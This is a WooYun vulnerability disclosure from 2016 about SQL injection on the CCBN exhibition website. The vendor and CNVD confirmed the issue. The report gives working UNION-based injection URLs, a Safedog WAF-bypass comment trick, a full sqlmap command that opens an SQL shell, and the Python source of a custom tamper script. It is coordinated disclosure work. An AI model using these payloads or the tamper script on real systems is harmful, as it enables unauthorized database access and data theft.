当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0195583

漏洞标题:CCBN WWW主站SQL注入/sa权限(绕过安全狗/附sqlmap脚本)

相关厂商:CCBN

漏洞作者: goubuli

提交时间:2016-04-13 09:40

修复时间:2016-05-31 20:00

公开时间:2016-05-31 20:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-13: 细节已通知厂商并且等待厂商处理中
2016-04-16: 厂商已经确认,细节仅向厂商公开
2016-04-26: 细节向核心白帽子及相关领域专家公开
2016-05-06: 细节向普通白帽子公开
2016-05-16: 细节向实习白帽子公开
2016-05-31: 细节向公众公开

简要描述:

习惯了,随手一个',就有这个漏洞。。。
自定义sqlmap脚本,可sql-shell

详细说明:

中国国际广播电视信息网络展览会 主站:

http://**.**.**.**bn.tv/


介绍:http://**.**.**.**bn.tv/channels/4.html
漏洞url:

http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p
参数:CustomerName可注入


遇到狗:

http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p%27) and 1=user--


sql-1.png


绕过:
字段数:

http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p%27)/*/\*/order /*/\*/by/*/\*/71--


然后union

http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p%27)/*/\*/UNION/*/\*/ SELECT/*/\*/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71--


sql-2.png


提示类型不匹配。。。
然后全部替换为NULL,报错

输入字符串的格式不正确


http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p%27)/*/\*/UNION/*/\*/ SELECT/*/\*/NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--


sql-3.png


字段太多,需要去对应探测,但是有可能是多个NULL,所以直接用SQLMap去跑,需要自定sqlmap脚本
然后就有如下语句:

sqlmap.py --batch -u "http://**.**.**.**bn.tv/CCBN/ExhibitionOnline.aspx?TypeID=&HallID=&CustomerName=p" -p CustomerName --prefix "%27)/*/\*/" --suffix "--" --tamper "tamper/space2myscript.py" --current-user --dbs --sql-shell


sql-4.png


仅做证明,未深入。。。
========================================================
space2myscript.py脚本:

#!/usr/bin/env python
"""
developers (goubuli)
"""
import random
import string
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):

retVal = ""
if payload:
for i in xrange(len(payload)):
if payload[i].isspace():
retVal += "/*/\*/"
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
retVal += payload[i:]
break
else:
retVal += payload[i]
return retVal

漏洞证明:

如上

修复方案:

程序内部对参数过滤

版权声明:转载请注明来源 goubuli@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-04-16 19:56

厂商回复:

CNVD确认所述情况,已经转由CNCERT下发给北京分中心,由其后续协调网站管理单位处置。

最新状态:

暂无